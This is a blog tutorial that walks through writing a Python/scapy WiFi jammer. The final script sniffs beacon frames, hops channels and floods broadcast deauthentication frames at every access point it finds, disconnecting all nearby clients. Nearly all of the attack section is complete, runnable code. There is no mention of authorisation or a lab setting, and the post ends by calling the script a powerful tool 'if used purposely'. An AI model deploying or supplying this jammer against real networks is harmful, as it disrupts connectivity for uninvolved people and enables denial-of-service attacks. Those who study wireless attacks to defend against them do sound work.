How to Make a simple Wireless Jamming (disconnect) Program in Python

by hash3liZer . 03 January 2019

How to Make a simple Wireless Jamming (disconnect) Program in Python

Disconnecting a Station from it's Access Point or in other words WiFi means to forcefully dissociate two in-transmission stations by forging and extracting Jamming frames in the air. The exact working of this process could be seen by executing a script like aireplay and sniffing the wireless frames at the same time which would give us a glimpse that what exactly was happening behind the scene.

The two or more 802.11 frames are layered upon each other to provide a single unit of a packet, in our case which would be a de-authentiction packet. So, basically we have to perform some networking related stuff, deep down working on layers. However, the impressive work of scapy would allow the task to be completed in rather small naive steps.

Scapy is a well-maintained networking library written in Python. Scapy has layers (modules) scattered through different submodules. Scapy as a whole is widely dispersed in modules and further submodules as an Inverse Tree. To import exactly what is required will be a clumsy task and for the purpose scapy does provide us with a single module from where it can be importated as a whole. Let's see the actual work.

Dissociation

We will take a head-start by writing the actual dissociation code. Let's suppose we have an access point and a station connected with each other and their mac addresses are respectively:

  • AA:BB:CC:DD:EE:FF
  • FF:FF:FF:FF:FF:FF

And from this tutorial, we know how to stack a dissociation frame in scapy. Basically, a de-authentication frame is layered upon the 802.11 frame which contains the address headers for Access Point and the receiver. Whilst the only header required in Dot11Deauth frame is reason header which is basically a pre-defined integer. 

>>> pkt = RadioTap() / Dot11(add1="FF:FF:FF:FF:FF:FF", addr2="AA:BB:CC:DD:EE:FF", addr3="AA:BB:CC:DD:EE:FF") / Dot11Deauth(reason=2)

In our case the reason for deauthentication would be unspecified as specified by the standard. Now, we have the basic code. All we have left is a bit of logic which would make up something like this:

from scapy.all import *

def disconnect(_ap, _st):
    pkt = RadioTap() / Dot11(addr1=_st, addr2=_ap, addr3=_ap) / Dot11Deauth(reason=2)

    while True:
        sendp(pkt, iface="wlan1mon", verbose=False)

The above would dispatch numberless frames to the stations passed as arguments to the function.

AP Beacons

To make the jammer work, we'll capture Beacon frames and extract the bssid of each network in the area. Then the bssid which would be the MAC of Access Point will be passed to disconnect function along with the broadcast station. The broadcast station specifies that the packet is intended for every other station in the range.

We have done it before in wifi sniffing tutorial where we captured Beacon frames to identify wireless networks in the area. So, we just have to maintain the list of accumulated wireless networks and keep the loop for new ones.

from scapy.all import *

a_points = []

def findBSS(pkt):
    if pkt.haslayer(Dot11Beacon):
        bssid = pkt.getlayer(Dot11).addr2
        if bssid not in a_points:
            a_points.append( bssid )
            disconnect(bssid, "ff:ff:ff:ff:ff:ff")

if __name__ == "__main__":
    sniff(iface="wlan1mon", prn=findBSS)

The problem that we have here is to cope with infinite loop. We have to use threads to initiate the same task multiple times. The final code would be:

from scapy.all import *
import threading

a_points = []
interface = "wlan1mon"

def disconnect(_ap, _st):
    pkt = RadioTap() / Dot11(addr1=_st, addr2=_ap, addr3=_ap) / Dot11Deauth(reason=2)

    while True:
        sendp(pkt, iface=interface, verbose=False)

def findBSS(pkt):
    if pkt.haslayer(Dot11Beacon):
        bssid = pkt.getlayer(Dot11).addr2
        essid = pkt.getlayer(Dot11Elt).info
        if bssid not in a_points:
            a_points.append( bssid )
            print "Disconnecting: %s" % essid
            _t = threading.Thread(target=disconnect, args=(bssid, "ff:ff:ff:ff:ff:ff"))
            _t.daemon = True
            _t.start()

if __name__ == "__main__":
    sniff(iface=interface, prn=findBSS)

Hopping

If you execute the script now, it will work fine as long as the channels are hopped randomly by a tool like airodump. However, we will build this functionality in our program as well to minimize the dependencies. To change wireless interface channels, we will execute direct linux command (iwconfig) using os.system function:

import os, time, random

def hopper():
    while True:
        ch = random.randint(1, 12)
        os.system("iwconfig wlan1mon channel %d" % ch)
        time.sleep(0.75)

Integrating it with the actual script:

from scapy.all import *
import threading
import os, time, random

a_points = []

def hopper():
    while True:
        ch = random.randint(1, 12)
        os.system("iwconfig wlan1mon channel %d" % ch)
        time.sleep(0.75)

def disconnect(_ap, _st):
    pkt = RadioTap() / Dot11(addr1=_st, addr2=_ap, addr3=_ap) / Dot11Deauth(reason=2)

    while True:
        sendp(pkt, iface="wlan1mon", verbose=False)

def findBSS(pkt):
    if pkt.haslayer(Dot11Beacon):
        bssid = pkt.getlayer(Dot11).addr2
        essid = pkt.getlayer(Dot11Elt).info
        if bssid not in a_points:
            a_points.append( bssid )
            print "Disconnecting: %s" % essid
            _t = threading.Thread(target=disconnect, args=(bssid, "ff:ff:ff:ff:ff:ff"))
            _t.daemon = True
            _t.start()

if __name__ == "__main__":
    _t = threading.Thread(target=hopper)
    _t.daemon = True
    _t.start()
    sniff(iface="wlan1mon", prn=findBSS)

So, within just 34 lines we have our newly written wireless de-authentication program, not so good tough but a good one to have a start.

Execute

And now finally execute your code:

$ python jammer.py

Conclusion

A simple wireless deauthentication program isn't much of a sophisticated task and can easily be written within a few lines of considerable logic. The attack can be divided into three major sectors which are hopping, scanning and finally attacking. All three individually coded can together be an exceptional powerful tool if used purposely.